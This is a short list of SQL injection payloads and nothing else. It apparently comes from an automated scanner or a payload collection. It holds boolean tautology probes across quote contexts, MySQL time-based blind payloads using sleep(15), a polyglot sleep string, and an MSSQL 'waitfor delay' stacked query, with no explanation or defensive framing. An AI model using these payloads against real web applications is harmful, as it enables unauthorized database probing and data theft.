-1 OR 2+823-823-1=0+0+0+1 --

-1 OR 2+87-87-1=0+0+0+1

-1' OR 2+952-952-1=0+0+0+1 --

-1' OR 2+115-115-1=0+0+0+1 or 'ZxQrAHKG'='

-1" OR 2+337-337-1=0+0+0+1 --

1*if(now()=sysdate(),sleep(15),0)

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1-1; waitfor delay '0:0:15' --